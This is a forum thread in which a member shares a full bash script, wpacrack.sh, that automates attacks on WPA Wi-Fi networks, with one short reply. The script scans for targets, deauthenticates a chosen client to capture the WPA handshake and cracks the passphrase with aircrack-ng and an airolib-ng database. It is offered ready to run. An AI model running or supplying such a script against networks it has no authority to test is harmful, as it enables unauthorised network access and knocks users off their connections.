Results 1 to 2 of 2

Thread: automated WPA cracking script - wpacrack.sh

  1. #1
    Member
    Join Date
    Jan 2010
    Location
    Netherlands
    Posts
    84

    Cool automated WPA cracking script - wpacrack.sh

    He all,

    I found the automated WEP crack from phillips321 and I made one for WPA
    It still has some bugs and could use some improvments so feel free to comment
    oh and btw it uses the airolib-ng database so make sure you have a database "crackwpa" have had the time to make the database also.

    Here it is:
    Code:
    #!/bin/bash
    # wpacrack.sh
    #
    # This tool requires aircrack-ng tools to be installed and run as root
    #
    # ChangeLog....
    VERSION="1.0"
    # Version 1.0 - First Release
    
    #################################################################
    # CHECKING FOR ROOT
    #################################################################
    if [ `echo -n $USER` != "root" ]
    then
    	echo "MESSAGE:"
    	echo "MESSAGE: ERROR: Please run as root!"
    	echo "MESSAGE:"
    	exit 1
    fi
    
    #################################################################
    # CHECKING TO SEE IF INTERFACE IS PROVIDED
    #################################################################
    if [ -z ${1} ]
    then
    	echo "MESSAGE: Version number ${VERSION}"
    	echo "MESSAGE: Usage: `basename ${0}` [interface] [BSSID] [channel] [client]"
    	echo "MESSAGE: Example #`basename ${0}` wlan0 (everything else is optional)"
    	exit 1
    else
    	INTERFACE="`echo "${1}" | cut -c 1-6`"
    fi
    
    #################################################################
    # PUT WIFI IN MONITOR MODE
    #################################################################
    echo "MESSAGE: Putting ${INTERFACE} in monitor mode"
    airmon-ng start ${INTERFACE}
    
    #################################################################
    # GET INTERFACE MAC ADDRESS
    #################################################################
    MACADDRESS=`ifconfig ${INTERFACE} | grep ${INTERFACE} | tr -s ' ' | cut -d ' ' -f5 | cut -c 1-17`
    
    #################################################################
    # CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED
    #################################################################
    if [ -z ${2} ] || [ -z ${3} ]; then
    	#################################################################
    	# SHOW VISIBLE WPA NETWORKS
    	#################################################################
    	echo "MESSAGE: Will now display all visible WPA networks"
    	echo "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"
    	read -p "MESSAGE: Press enter to view networks"
    	airodump-ng --encrypt WPA mon0 # mon0
    
    	#################################################################
    	# USER INPUT DETAILS FROM AIRODUMP
    	#################################################################
    	while true
    	do
    		echo -n "MESSAGE: Please enter the target BSSID here: "
    		read -e BSSID
    		echo -n "MESSAGE: Please enter the target channel here: "
    		read -e CHANNEL
    		echo "MESSAGE: Target BSSID            : ${BSSID}"
    		echo "MESSAGE: Target Channel          : ${CHANNEL}"
    		echo "MESSAGE: Interface MAC Address   : ${MACADDRESS}"
    		echo -n "MESSAGE: Is this information correct? (y or n): "
    	  	read -e CONFIRM
    	 	case $CONFIRM in
    	    		y|Y|YES|yes|Yes)
    				break ;;
    	    		*) echo "MESSAGE: Please re-enter information" ;;
    	  	esac
    	done
    fi
    
    #################################################################
    # CHECK IF THE USER NEEDS TO FIND A CLIENT
    #################################################################
    #if [ -z {4} ]; then
    	#################################################################
    	# SHOW AP CLIENTS
    	#################################################################
    	echo "MESSAGE: Will now display all visable clients for ${BSSID}"
    	echo "MESSAGE: Once you have identified the client you wish to target press Ctrl-C to exit"
            read -p "MESSAGE: Press enter to view networks"
    	airodump-ng -c ${CHANNEL} --bssid ${BSSID} mon0
    	while true
    	do
    		echo -n "MESSAGE: Please enter the target CLIENT here: "
    		read -e CLIENT
    		echo "MESSAGE: Target Client           : ${CLIENT}"
    		echo -n "MESSAGE: Is this information correct? (y or n): "
                    read -e CONFIRM
                    case $CONFIRM in
                            y|Y|YES|yes|Yes)
                                    break ;;
                            *) echo "MESSAGE: Please re-enter information" ;;
                    esac
    	done
    #fi
    
    #################################################################
    # START DEAUTH TO CAPTURE WPA HANDSHAKE
    #################################################################
    echo "MESSAGE: Starting De-auth"
    echo "MESSAGE: Once hand shake has been captured press Ctrl-C to exit"
    read -p "MESSAGE: Press enter to attempt handshake capture"
    xterm -e "sleep 10 && aireplay-ng --deauth 10 -a ${BSSID} -c ${CLIENT} mon0" &
    airodump-ng -c ${CHANNEL} --bssid ${BSSID} -w WPA mon0
    
    #################################################################
    # Add ESSID to KATE
    #################################################################
    		echo -n "MESSAGE: Please enter the target ESSID in the next screen save and exit after. "
    xterm -e "sleep 2 && kate ~/essid"
    airolib-ng crackwpa --import essid ~/essid
    		echo -n "MESSAGE: Cleaning up hold on...... "
    airolib-ng crackwpa --stats
    airolib-ng crackwpa --clean all
    airolib-ng crackwpa --batch
    airolib-ng crackwpa --verify all
    
    #################################################################
    # ATTEMPTING TO CRACK
    #################################################################
    aircrack-ng -r crackwpa WPA-01.cap -l key.txt
    
    #################################################################
    # OUTPUT BSSID AND KEY
    #################################################################
    KEY=`cat key.txt`
    echo "MESSAGE: Target BSSID            : ${BSSID}"
    echo "MESSAGE: Target Key              : ${KEY}"
    
    #################################################################
    # DELETE FILES CREATED DURING WEP CRACKING
    #################################################################
    airmon-ng stop mon0
    rm psk* key.txt
    exit 0
    Have fun!

    Credits go to:
    phillips321

  2. #2
    Just burned his ISO
    Join Date
    Mar 2010
    Location
    Utah
    Posts
    4

    Default Re: automated WPA cracking script - wpacrack.sh

    Looks cool! I'll try it out tonight and see if it can break my home network.

    I'll let you know what I find out.

Similar Threads

  1. Startup script running
    By PostalService in forum Beginners Forum
    Replies: 1
    Last Post: 10-23-2010, 12:21 PM
  2. bt4-customise script?
    By Mr-Protocol in forum Beginners Forum
    Replies: 3
    Last Post: 06-15-2010, 12:28 PM
  3. automated WEP cracking script - wepcrack.sh
    By phillips321 in forum Experts Forum
    Replies: 10
    Last Post: 05-05-2010, 11:32 PM
  4. is there a startup script location?
    By redss in forum Beginners Forum
    Replies: 5
    Last Post: 03-09-2010, 06:49 AM
  5. Shell script
    By bbakker in forum Beginners Forum
    Replies: 1
    Last Post: 01-24-2010, 01:02 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •